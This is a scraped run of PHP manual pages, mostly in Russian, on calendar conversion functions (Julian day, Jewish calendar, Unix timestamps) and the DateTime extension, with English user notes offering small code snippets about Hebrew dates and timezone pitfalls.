Sergio Z 03-Feb-2022 08:07
To check if a Jewish year is leap use this function:

function isJewishLeapYear($year) {
    return 0 != cal_days_in_month(CAL_JEWISH, 6, $year);
}

In non-leap years there is only one Adar, and its number is 7. There is no 6.
Berel 23-Jan-2020 04:59
If you wish to format the hebrew date as this (ignore the brackets): [?"? ???? ?'???"?], since none of the 3 bitmasks include this format, you can use the CAL_JEWISH_ADD_GERESHAYIM mask, and then insert the ' into the year with the second line, as shown:

$hebdate = jdtojewish(gregoriantojd(6,14,2015),1,CAL_JEWISH_ADD_GERESHAYIM);
$hebdate = substr_replace($hebdate,"'",strrpos($hebdate," ")+2,0);
WWW dot netfree at gmail dot com 04-May-2019 08:24
Check whether the year is leap year, in order to determine whether the value 7 = Adar or Adar 2

<?php

$hebrewDate = jdtojewish(gregoriantojd(date('m', $DateStamp), date('d', $DateStamp), date('Y', $DateStamp)));
list($hebrewMonth, $hebrewDay, $hebrewYear) = explode('/',$hebrewDate);

$m = array(3, 6, 8, 11, 14, 17, 19);
$meuberet = in_array(($hebrewYear % 19), $m);
if($meuberet) if($hebrewMonth == 7) $hebrewMonth = '7b'; //This is Adar 2
eclipsechasers2 at yahoo dot com 06-Jan-2015 12:34
With PHP 5.5, the functionality changed regarding Adar in a non-leap year. Prior to 5.5, the month was returned as 6. In 5.5 and 5.6, the month is returned as 7. This difference is not listed under "What has changed in PHP 5.5.x".
adam at tadam dot co dot il 23-Mar-2012 09:57
<?php
// Hebrew date in hebrew
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: ?"? ??? ?' ????? ???"?

// or
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: ?"? ??? ????"?
?>
erelsgl at gmail dot com 29-Aug-2009 03:28
Sometimes it is useful to have the date in the format YYYY-MM-DD, which is sortable (e.g. you can sort dates by sorting the strings):

<?php
function JDToSortableJewish($jd) {
    return
        preg_replace("|(\d+)/(\d+)/(\d+)|","$3-$1-$2",  // year-month-day
        preg_replace("|/(\d)/|","/0$1/", // add zeros to the day
        preg_replace("|^(\d)/|","0$1/",  // add zeros to the month
        JDToJewish($jd))));
}
?>
erelsgl at gmail dot com 29-Aug-2009 02:01
In Hebrew leap years, the function will return 6 for Adar A, 7 for Adar B, 8 for Nisan, etc.

In Hebrew non-leap years, the function will return 6 for Adar, 8 for Nisan, etc.

i.e., the "real" Adar is Adar A.
asphp at dsgml dot com 28-May-2007 02:10
This function outputs in ISO-8859-8-l.

To convert to unicode UTF-8 do this:

<?php

echo mb_convert_encoding( jdtojewish( unixtojd(), true ), "UTF-8", "ISO-8859-8");

?>
gr8g0thamguy at yahoo dot com 01-Sep-2003 11:39
Based on the code already posted by Dave, I've modified it to display the *current* date on a page:

<?php

$gregorianMonth = date(n);
$gregorianDay = date(j);
$gregorianYear = date(Y);

$jdDate = gregoriantojd($gregorianMonth,$gregorianDay,$gregorianYear);

$hebrewMonthName = jdmonthname($jdDate,4);

$hebrewDate = jdtojewish($jdDate);

list($hebrewMonth, $hebrewDay, $hebrewYear) = split('/',$hebrewDate);

echo "$hebrewDay $hebrewMonthName $hebrewYear";
?>
dave_at_mitzvahweb.com 04-Mar-2002 04:04
There's probably a simpler way to do this, but I needed to convert a Gregorian date to a Hebrew one and display it with the Hebrew month name (not the number).

Perhaps it can help somebody...

<?php

//enter your Gregorian date with the variables $gregorianMonth, $gregorianDay, and $gregorianYear using the numerical representation of the month

$jdDate = gregoriantojd ( $gregorianMonth, $gregorianDay, $gregorianYear);

$gregorianMonthName = jdmonthname ( $jdDate, 1 );

$hebrewDate = jdtojewish ($jdDate);

list ($hebrewMonth, $hebrewDay, $hebrewYear) = split ('/', $hebrewDate);

$hebrewMonthName = jdmonthname ( $jdDate, 4);

 echo "Your date in Hebrew would read: $hebrewDay $hebrewMonthName $hebrewYear";

?>


Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю

  • « jdtojewish
  • jdtounix »
  • PHP Manual
  • Календарь
  • Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю

jdtojulian

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtojulian — Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю

Описание

jdtojulian(int $julian_day): string

Переводит число дней в юлианском летоисчислении в строку, содержащую дату по юлианскому календарю в формате "месяц/день/год".

Список параметров

julian_day

Номер дня в юлианском летоисчислении

Возвращаемые значения

Дата по юлианскому календарю в виде строки формата "месяц/день/год"

Смотрите также

  • juliantojd() - Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении
  • cal_from_jd() - Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

User Contributed Notes

There are no user contributed notes for this page.


Переводит число дней в юлианском летоисчислении в метку времени Unix

  • « jdtojulian
  • jewishtojd »
  • PHP Manual
  • Календарь
  • Переводит число дней в юлианском летоисчислении в метку времени Unix

jdtounix

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtounix — Переводит число дней в юлианском летоисчислении в метку времени Unix

Описание

jdtounix(int $julian_day): int

Эта функция вернёт метку времени Unix, соответствующую номеру дня в юлианском летоисчислении, заданному в julian_day. Будет возвращено UTC.

Список параметров

julian_day

Номер дня в юлианском летоисчислении между 2440588 и 106751993607888 в 64-битных системах или между 2440588 и 2465443 в 32-битных системах.

Возвращаемые значения

Метка времени Unix на момент начала (полночь) юлианского дня.

Ошибки

Если julian_day находится за пределами допустимого диапазона, выбрасывается ValueError.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки, вместо этого выбрасывает ValueError.
7.3.24, 7.4.12 | Увеличен верхний предел julian_day. Раньше он был 2465342 независимо от архитектуры.

Смотрите также

  • unixtojd() - Переводит метку времени Unix в юлианский день

User Contributed Notes

Saeed Hubaishan 22-Oct-2014 06:11
unixtojd() assumes that your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.
so
<?php
$d1=jdtogregorian(unixtojd(time()));
$d2= gmdate("m/d/Y");
$d3=date("m/d/Y");
?>
$d1 always equals $d2 but $d1 may differ from $d3
fabio at llgp dot org 31-Aug-2006 02:14
If you need an easy way to convert a decimal julian day to an unix timestamp you can use:

$unixTimeStamp = ($julianDay - 2440587.5) * 86400;

2440587.5 is the julian day at 1/1/1970 0:00 UTC
86400 is the number of seconds in a day
27-Jan-2005 06:50
Warning: the calender functions involving julian day operations seem to ignore the decimal part of the julian day count.

This means that the returned date is wrong 50% of the time, since a julian day starts at decimal .5 .  Take care!!
seb at carbonauts dot com 21-Oct-2003 12:10
Remember that unixtojd() assumes your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.

This fooled me a few times.

So if you have:

$timestamp1 = time();
$timestamp2 = jdtounix(unixtojd($timestamp1));

Unless your localtime is the same as GMT, $timestamp1 will not equal $timestamp2.
pipian at pipian dot com 12-Jun-2003 09:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.


Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении

  • « jdtounix
  • juliantojd »
  • PHP Manual
  • Календарь
  • Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении

jewishtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

jewishtojd — Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении

Описание

jewishtojd(int $month, int $day, int $year): int

Несмотря на то, что функция может обрабатывать даты вплоть до 1-го года (3761 до н.э.), практически преобразование для таких ранних дат не имеет смысла. Еврейский календарь использовался несколько тысяч лет, но давние времена не было формулы для расчёта начала месяца. Новый месяц начинался с того момента как впервые можно было наблюдать новую луну.

Список параметров

month

Номер месяца в виде числа от 1 до 13, где 1 означает Тишрей, 13 означает Элул, и 6 и 7 означает Адар в обычном году, но Адар I и Адар II, соответственно, в високосном.

day

Номер дня в виде числа от 1 до 30. Если в месяце всего 29 дней, то будет подразумеваться первый день следующего месяца.

year

Год в виде числа от 1 до 9999

Возвращаемые значения

Номер дня в юлианском летоисчислении в виде числа для заданной еврейской даты.

Смотрите также

  • jdtojewish() - Переводит количество дней из юлианского календаря в дату по еврейскому календарю
  • cal_to_jd() - Преобразует заданную дату в юлианскую

User Contributed Notes

There are no user contributed notes for this page.


Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении

  • « jewishtojd
  • unixtojd »
  • PHP Manual
  • Календарь
  • Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении

juliantojd

(PHP 4, PHP 5, PHP 7, PHP 8)

juliantojd — Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении

Описание

juliantojd(int $month, int $day, int $year): int

Диапазон возможных дат для юлианского календаря: с 4713 года до н.э. по 9999 год н.э.

Несмотря на то, что функция может обрабатывать даты вплоть до 4713 года до н.э., практически преобразование для таких ранних дат не имеет смысла. Календарь был создан в 46 году до н.э., но некоторые детали ещё дорабатывались по крайней мере до 8 года н.э., а по некоторым данным до 4 века. Также, начало года различалось от одной культуры к другой - не везде Январь был первым месяцем года.

Предостережение

Помните, что на данный момент общепринятым в мире считается григорианский календарь. Функция gregoriantojd() может преобразовывать даты по этому календарю в число дней в юлианском летоисчислении.

Список параметров

month

Месяц в виде числа от 1 (январь) до 12 (декабрь)

day

День в виде числа от 1 до 31

year

Год в виде числа между -4713 и 9999

Возвращаемые значения

Юлианский день в виде числа для заданной даты по юлианскому календарю.

Смотрите также

  • jdtojulian() - Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю
  • cal_to_jd() - Преобразует заданную дату в юлианскую

User Contributed Notes

Christian Kollross 11-Apr-2019 08:55
Warning to non-US users:
This function uses the US date notation (month, day, year), which is easily overlooked!
Anonymous 22-Jul-2017 07:30
I didn't even know this function existed.


Переводит метку времени Unix в юлианский день

  • « juliantojd
  • Дата/время »
  • PHP Manual
  • Календарь
  • Переводит метку времени Unix в юлианский день

unixtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

unixtojd — Переводит метку времени Unix в юлианский день

Описание

unixtojd(?int $timestamp = null): int|false

Возвращает юлианский день для заданной метки времени Unix timestamp (количество секунд с 1.1.1970) либо для текущего времени, если аргумент timestamp не задан. В любом случае, время рассматривается как местное время (не UTC).

Список параметров

timestamp

Метка времени Unix для преобразования.

Возвращаемые значения

Число дней в юлианском летоисчислении или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | timestamp теперь допускает значение null.

Смотрите также

  • jdtounix() - Переводит число дней в юлианском летоисчислении в метку времени Unix

User Contributed Notes

hrabi at linuxwaves dot com 29-Mar-2007 06:02
according to http://www.decimaltime.hynes.net/dates.html#jd and reading "X. Calendar Functions" on this side, it seems that php "jd" is precisely mean as "Chronological Julian Day" (should it be named cjd, and primarily strictly mentioned - isn't it?), used for covnersion between calendar systems. Than it's ok (but Incomplete manual is strongly confusing here IMHO).
Even that, cJD is adjusted to a local time, so... I am rather babeled now, so nothing else :-).
hrabi at linuxwaves dot com 29-Mar-2007 03:33
This is unusable. Julian Day start at noon, not midnight. It's better to use Fabio solution (however there is a lurk problem with leap second).

<?php
function mmd($txt, $str_time) {
   $t = strtotime($str_time);
   $j = unixtojd($t);
   $s = gmstrftime('%D %T %Z', $t);
   $j_fabio = $t / 86400 + 2440587.5;

   printf("${txt} => (%s) %s, %s U, %s J, or %s J<br>\n", $str_time, $s, $t, $j, $j_fabio);
}

//$xt = strtotime("1.1.1970 15:00.00 GMT");
$sam = "9.10.1995 02:00.01 GMT";
$spm = "9.10.1995 22:00.01 GMT";

// unixtojd for $spm returns 2450000 (OK), but for $sam returns 2450000 too! (it is wrong).
mmd("am", $sam);  // should be 2449999 (+ 0.58334)
mmd("pm", $spm);  // should be 2450000 (+ 0.41668)
?>

reference
unix time, and UTC, TAI, ntp, ... problems: http://en.wikipedia.org/wiki/Unix_time
Julian Date Converter: http://aa.usno.navy.mil/data/docs/JulianDate.html
history overview: http://parris.josh.com.au/humour/work/17Nov1858.shtml
fabio at llgp dot org 31-Aug-2006 02:09
If you need an easy way to convert an unix timestamp to a decimal julian day you can use:

$julianDay = $unixTimeStamp / 86400 + 2440587.5;

86400 is the number of seconds in a day;
2440587.5 is the julian day at 1/1/1970 0:00 UTC.
10-Aug-2006 07:22
Its clearly stated that this function returns the Julian Day, not Julian Day + time.

If you want the time with it you will have to do something like:

$t=time();
$jd=unixtojd($t)+($t%60*60*24)/60*60*24;
johnston at capsaicin dot ca 19-Nov-2003 01:43
Also note that epoch is in UTC time (epoch is a specific point in time - epoch is not different for every time zone), so be aware of timezone complexities.


Дата и время

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Арифметика даты/времени
  • DateTime — Класс DateTime
    • DateTime::add — Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд
    • DateTime::__construct — Конструктор класса DateTime
    • DateTime::createFromFormat — Разбирает строку с датой согласно указанному формату
    • DateTime::createFromImmutable — Возвращает экземпляр DateTime инкапсулирующий заданный объект DateTimeImmutable
    • DateTime::createFromInterface — Возвращает новый объект DateTime, созданный из переданного объекта, реализующего интерфейс DateTimeInterface
    • DateTime::getLastErrors — Псевдоним DateTimeImmutable::getLastErrors
    • DateTime::modify — Изменение временной метки
    • DateTime::__set_state — Обработчик __set_state
    • DateTime::setDate — Устанавливает дату
    • DateTime::setISODate — Устанавливает дату в формате ISO
    • DateTime::setTime — Устанавливает время
    • DateTime::setTimestamp — Устанавливает дату и время на основе метки времени Unix
    • DateTime::setTimezone — Устанавливает часовой пояс для объекта класса DateTime
    • DateTime::sub — Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime
  • DateTimeImmutable — Класс DateTimeImmutable
    • DateTimeImmutable::add — Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд
    • DateTimeImmutable::__construct — Возвращает новый объект DateTimeImmutable
    • DateTimeImmutable::createFromFormat — Разбирает строку с датой согласно указанному формату
    • DateTimeImmutable::createFromInterface — Возвращает новый объект DateTimeImmutable, созданный из переданного объекта, реализующего интерфейс DateTimeInterface
    • DateTimeImmutable::createFromMutable — Возвращает новый экземпляр DateTimeImmutable, содержащий заданный объект DateTime
    • DateTimeImmutable::getLastErrors — Возвращает предупреждения и ошибки
    • DateTimeImmutable::modify — Создаёт новый объект с изменённой временной меткой
    • DateTimeImmutable::__set_state — Обработчик __set_state
    • DateTimeImmutable::setDate — Устанавливает дату
    • DateTimeImmutable::setISODate — Устанавливает дату в формате ISO
    • DateTimeImmutable::setTime — Устанавливает время
    • DateTimeImmutable::setTimestamp — Устанавливает дату и время на основе метки времени Unix
    • DateTimeImmutable::setTimezone — Устанавливает часовой пояс
    • DateTimeImmutable::sub — Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд
  • DateTimeInterface — Интерфейс DateTimeInterface
    • DateTimeInterface::diff — Возвращает разницу между двумя объектами DateTime
    • DateTimeInterface::format — Возвращает дату, отформатированную согласно переданному формату
    • DateTimeInterface::getOffset — Возвращает смещение часового пояса
    • DateTimeInterface::getTimestamp — Возвращает временную метку Unix
    • DateTimeInterface::getTimezone — Возвращает часовой пояс относительно текущего значения DateTime
    • DateTime::__wakeup — Обработчик __wakeup
  • DateTimeZone — Класс DateTimeZone
    • DateTimeZone::__construct — Создаёт новый объект DateTimeZone
    • DateTimeZone::getLocation — Возвращает информацию о местоположении для часового пояса
    • DateTimeZone::getName — Возвращает имя часового пояса
    • DateTimeZone::getOffset — Возвращает смещение часового пояса от UTC (GMT)
    • DateTimeZone::getTransitions — Возвращает все переходы для часового пояса
    • DateTimeZone::listAbbreviations — Возвращает ассоциативный массив, содержащий флаг перехода на летнее время, смещение и имя часового пояса
    • DateTimeZone::listIdentifiers — Возвращает численно индексированный массив со всеми идентификаторами часовых поясов
  • DateInterval — Класс DateInterval
    • DateInterval::__construct — Создаёт новый объект DateInterval
    • DateInterval::createFromDateString — Создаёт объект класса DateInterval из даты в относительном формате
    • DateInterval::format — Форматирует интервал
  • DatePeriod — Класс DatePeriod
    • DatePeriod::__construct — Создаёт новый объект DatePeriod
    • DatePeriod::createFromISO8601String — Creates a new DatePeriod object from an ISO8601 string
    • DatePeriod::getDateInterval — Возвращает интервал
    • DatePeriod::getEndDate — Возвращает конечную дату периода
    • DatePeriod::getRecurrences — Получает количество повторов
    • DatePeriod::getStartDate — Возвращает начальную дату периода
  • Функции даты и времени
    • checkdate — Проверяет корректность даты по григорианскому календарю
    • date_add — Псевдоним DateTime::add
    • date_create_from_format — Псевдоним DateTime::createFromFormat
    • date_create_immutable_from_format — Псевдоним DateTimeImmutable::createFromFormat
    • date_create_immutable — Создаёт новый объект DateTimeImmutable
    • date_create — Создаёт новый объект DateTime
    • date_date_set — Псевдоним DateTime::setDate
    • date_default_timezone_get — Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте
    • date_default_timezone_set — Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте
    • date_diff — Псевдоним DateTime::diff
    • date_format — Псевдоним DateTime::format
    • date_get_last_errors — Псевдоним DateTimeImmutable::getLastErrors
    • date_interval_create_from_date_string — Псевдоним DateInterval::createFromDateString
    • date_interval_format — Псевдоним DateInterval::format
    • date_isodate_set — Псевдоним DateTime::setISODate
    • date_modify — Псевдоним DateTime::modify
    • date_offset_get — Псевдоним DateTime::getOffset
    • date_parse_from_format — Получение информации о заданной в определённом формате дате
    • date_parse — Возвращает ассоциативный массив с подробной информацией о заданной дате/времени
    • date_sub — Псевдоним DateTime::sub
    • date_sun_info — Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек
    • date_sunrise — Возвращает время рассвета для заданных дня и местоположения
    • date_sunset — Возвращает время захода солнца для заданных дня и местоположения
    • date_time_set — Псевдоним DateTime::setTime
    • date_timestamp_get — Псевдоним DateTime::getTimestamp
    • date_timestamp_set — Псевдоним DateTime::setTimestamp
    • date_timezone_get — Псевдоним DateTime::getTimezone
    • date_timezone_set — Псевдоним DateTime::setTimezone
    • date — Форматирует временную метку Unix
    • getdate — Возвращает информацию о дате/времени
    • gettimeofday — Возвращает текущее время
    • gmdate — Форматирует дату/время по Гринвичу
    • gmmktime — Возвращает локальную метку времени Unix для времени по Гринвичу
    • gmstrftime — Форматирует дату/время по Гринвичу с учётом текущей локали
    • idate — Преобразует локальное время/дату в целое число
    • localtime — Возвращает локальное время
    • microtime — Возвращает текущую метку времени Unix с микросекундами
    • mktime — Возвращает метку времени Unix для заданной даты
    • strftime — Форматирует текущую дату/время с учётом текущих настроек локали
    • strptime — Разбирает строку даты/времени, сгенерированную функцией strftime
    • strtotime — Преобразует текстовое представление даты на английском языке в метку времени Unix
    • time — Возвращает текущую метку системного времени Unix
    • timezone_abbreviations_list — Псевдоним DateTimeZone::listAbbreviations
    • timezone_identifiers_list — Псевдоним DateTimeZone::listIdentifiers
    • timezone_location_get — Псевдоним DateTimeZone::getLocation
    • timezone_name_from_abbr — Возвращает название часового пояса, угадывая по аббревиатуре и смещению UTC
    • timezone_name_get — Псевдоним DateTimeZone::getName
    • timezone_offset_get — Псевдоним DateTimeZone::getOffset
    • timezone_open — Псевдоним DateTimeZone::__construct
    • timezone_transitions_get — Псевдоним DateTimeZone::getTransitions
    • timezone_version_get — Получение номера версии базы данных часовых поясов
  • Date/Time Errors and Exceptions
  • Допустимые форматы даты/времени
  • Список поддерживаемых часовых поясов
    • Африка
    • Америка
    • Антарктика
    • Арктика
    • Азия
    • Атлантика
    • Австралия
    • Европа
    • Индийский
    • Тихоокеанский
    • Другие
  • DateError — The DateError class
  • DateObjectError — The DateObjectError class
  • DateRangeError — The DateRangeError class
  • DateException — The DateException class
  • DateInvalidOperationException — The DateInvalidOperationException class
  • DateInvalidTimeZoneException — The DateInvalidTimeZoneException class
  • DateMalformedIntervalStringException — The DateMalformedIntervalStringException class
  • DateMalformedPeriodStringException — The DateMalformedPeriodStringException class
  • DateMalformedStringException — The DateMalformedStringException class

User Contributed Notes

There are no user contributed notes for this page.


Введение

Класс DateTimeImmutable и связанные с ним классы позволяют получить информацию о дате и времени. Объекты могут быть созданы путём передачи строкового представления информации о дате и времени или из текущего времени системы.

Модуль предоставляет богатый набор методов для изменения и форматирования информации, включая обработку часовых поясов и переходов на летнее время.

Возможности даты/времени в PHP реализуют календарь ISO 8601, который является » пролептическим григорианским календарём, реализующим текущие правила високосных дней, принятые до введения григорианского календаря, а также включает год 0 как номер года между -1 до нашей эры и 1 нашей эры. Високосные секунды не поддерживаются.

Информация о дате и времени хранится в памяти в виде 64-разрядных чисел. Таким образом, поддерживаются все пригодные представления даты (включая отрицательные года). Диапазон составляет примерно 292 миллиарда лет в прошлое и будущее.

Замечание: Часовые пояса, описанные в данном разделе, можно найти по ссылке Список поддерживаемых часовых поясов.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования этих функций не требуется проведение установки, поскольку они являются частью ядра PHP.

Замечание: Получение последней базы часовых поясов

Последнюю версию часовых поясов можно установить с помощью PECL » timezonedb.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройки конфигурации даты/времени
Имя | По умолчанию | Место изменения | Список изменений
date.default_latitude | "31.7667" | PHP_INI_ALL |
date.default_longitude | "35.2333" | PHP_INI_ALL |
date.sunrise_zenith | "90.833333" | PHP_INI_ALL | До PHP 8.0.0 значение по умолчанию было "90.583333".
date.sunset_zenith | "90.833333" | PHP_INI_ALL | До PHP 8.0.0 значение по умолчанию было "90.583333".
date.timezone | "UTC" | PHP_INI_ALL | Начиная с PHP 8.2, при установке недопустимого значения или пустой строки выдаётся предупреждение.
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

date.default_latitude float

Широта по умолчанию. в диапазоне от 0 на экваторе до +90 к северу и -90 к югу.

date.default_longitude float

Долгота по умолчанию. в диапазоне от 0 на нулевом меридиане до +180 на восток и -180 на запад.

date.sunrise_zenith float

Угол, под которым солнце светит во время восхода.

Значение по умолчанию составляет 90°50'. Дополнительные 50' обусловлены двумя компонентами: радиусом Солнца, который составляет 16' и атмосферной рефракцией, которая составляет 34'.

date.sunset_zenith float

Угол, под которым солнце светит во время заката.

date.timezone string

Часовой пояс, используемый по умолчанию всеми функциями даты/времени. Порядок приоритета используемых часовых поясов описан на странице date_default_timezone_get(). Смотрите также Список поддерживаемых часовых поясов.

Замечание: Первые четыре опции настройки в настоящее время используются только в функциях date_sunrise() и date_sunset().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Константы DATE_ предлагают стандартные представления даты, которые могут быть использованы вместе с функциями форматирования даты (например date()).

Следующие константы определяют формат возвращаемый функциями date_sunrise() и date_sunset().

SUNFUNCS_RET_TIMESTAMP (int)
Время в секундах с начала эпохи Unix
SUNFUNCS_RET_STRING (int)
Часы:минуты (например: 08:02)
SUNFUNCS_RET_DOUBLE (int)
Часы как число с плавающей точкой (например: 8.75)

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Арифметика даты/времени

User Contributed Notes

There are no user contributed notes for this page.


Арифметика даты/времени

В следующих примерах показываются некоторые подводные камни вычислений даты/времени, относительно переходов на летнее и зимнее время (DST), и месяцев, имеющих разное количество дней.

Пример #1 DateTimeImmutable::add/sub добавляет интервалы, охватывающие прошедшее время

Добавление PT24H через переход DST приведёт к добавлению 23/25 часов (для большинства часовых поясов).

<?php
$dt = new DateTimeImmutable("2015-11-01 00:00:00", new DateTimeZone("America/New_York"));
echo "Начало: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->add(new DateInterval("PT3H"));
echo "Конец: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

Результат выполнения данного примера:

Начало: 2015-11-01 00:00:00 -04:00
Конец:  2015-11-01 02:00:00 -05:00

Пример #2 DateTimeImmutable::modify и strtotime увеличит или уменьшит значения индивидуальных компонентов

Добавление +24 часов через переход DST добавит точно 24 часов (вместо учёта перехода на зимнее или летнее время).

<?php
$dt = new DateTimeImmutable("2015-11-01 00:00:00", new DateTimeZone("America/New_York"));
echo "Начало: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+24 hours");
echo "Конец: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

Результат выполнения данного примера:

Начало:  2015-11-01 00:00:00 -04:00
Конец:   2015-11-02 00:00:00 -05:00

Пример #3 Добавление или вычитание времени может уменьшить или увеличить дату

Например, 31 января + 1 месяц вернёт 2 марта (високосный год) или 3 марта (обычный год).

<?php
echo "Обычный год:\n"; // В феврале 28 дней
$dt = new DateTimeImmutable("2015-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Начало: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+1 month");
echo "Конец: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;

echo "Високосный год:\n"; // В феврале 29 дней
$dt = new DateTimeImmutable("2016-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Начало: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("+1 month");
echo "Конец: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

Результат выполнения данного примера:

Обычный год:
Начало: 2015-01-31 00:00:00 -05:00
Конец:  2015-03-03 00:00:00 -05:00
Високосный год:
Начало: 2016-01-31 00:00:00 -05:00
Конец:  2016-03-02 00:00:00 -05:00

Для получения последнего дня следующего месяца (то есть чтобы предотвратить переполнение) существует директива last day of.

<?php
echo "Обычный год:\n"; // Февраль содержит 28 дней
$dt = new DateTimeImmutable("2015-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Начало: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("last day of next month");
echo "Конец: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;

echo "Високосный год:\n"; // Февраль содержит 29 дней
$dt = new DateTimeImmutable("2016-01-31 00:00:00", new DateTimeZone("America/New_York"));
echo "Начало: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->modify("last day of next month");
echo "Конец: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

Результат выполнения данного примера:

Обычный год:
Начало: 2015-01-31 00:00:00 -05:00
Конец:  2015-02-28 00:00:00 -05:00
Високосный год:
Начало: 2016-01-31 00:00:00 -05:00
Конец:  2016-02-29 00:00:00 -05:00

User Contributed Notes

There are no user contributed notes for this page.


Класс DateTime

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

Введение

Представление даты и времени.

Класс ведёт себя так же, как и DateTimeImmutable, за исключением того, что объекты модифицируются сами при вызове таких методов модификации, как DateTime::modify().

Внимание

Вызов методов для объектов класса DateTime изменит информацию, заключённую в этих объектах, если вы хотите предотвратить это, вам придётся использовать оператор clone для создания нового объекта. Используйте класс DateTimeImmutable вместо DateTime, чтобы получить рекомендуемое поведение по умолчанию.

Обзор классов

class DateTime implements DateTimeInterface {
/* Наследуемые константы */
public const string DateTimeInterface::ATOM = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::COOKIE = "l, d-M-Y H:i:s T";
public const string DateTimeInterface::ISO8601 = "Y-m-d\\TH:i:sO";
public const string DateTimeInterface::ISO8601_EXPANDED = "X-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC822 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC850 = "l, d-M-y H:i:s T";
public const string DateTimeInterface::RFC1036 = "D, d M y H:i:s O";
public const string DateTimeInterface::RFC1123 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC7231 = "D, d M Y H:i:s \\G\\M\\T";
public const string DateTimeInterface::RFC2822 = "D, d M Y H:i:s O";
public const string DateTimeInterface::RFC3339 = "Y-m-d\\TH:i:sP";
public const string DateTimeInterface::RFC3339_EXTENDED = "Y-m-d\\TH:i:s.vP";
public const string DateTimeInterface::RSS = "D, d M Y H:i:s O";
public const string DateTimeInterface::W3C = "Y-m-d\\TH:i:sP";
/* Методы */
public __construct(string $datetime = "now", ?DateTimeZone $timezone = null)
public add(DateInterval $interval): DateTime
public static createFromFormat(string $format, string $datetime, ?DateTimeZone $timezone = null): DateTime|false
public static createFromImmutable(DateTimeImmutable $object): static
public static createFromInterface(DateTimeInterface $object): DateTime
public modify(string $modifier): DateTime|false
public static __set_state(array $array): DateTime
public setDate(int $year, int $month, int $day): DateTime
public setISODate(int $year, int $week, int $dayOfWeek = 1): DateTime
public setTime(
int $hour,
int $minute,
int $second = 0,
int $microsecond = 0
): DateTime
public setTimestamp(int $timestamp): DateTime
public setTimezone(DateTimeZone $timezone): DateTime
public sub(DateInterval $interval): DateTime
public diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public format(string $format): string
public getOffset(): int
public getTimestamp(): int
public getTimezone(): DateTimeZone|false
public __wakeup(): void
}

Список изменений

Версия | Описание
7.2.0 | Константы класса теперь DateTime определены в DateTimeInterface.
7.1.0 | Конструктор класса DateTime теперь включает текущие микросекунды. До этого он всегда инициализировал микросекунды со значением 0.

Содержание

  • DateTime::add — Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд
  • DateTime::__construct — Конструктор класса DateTime
  • DateTime::createFromFormat — Разбирает строку с датой согласно указанному формату
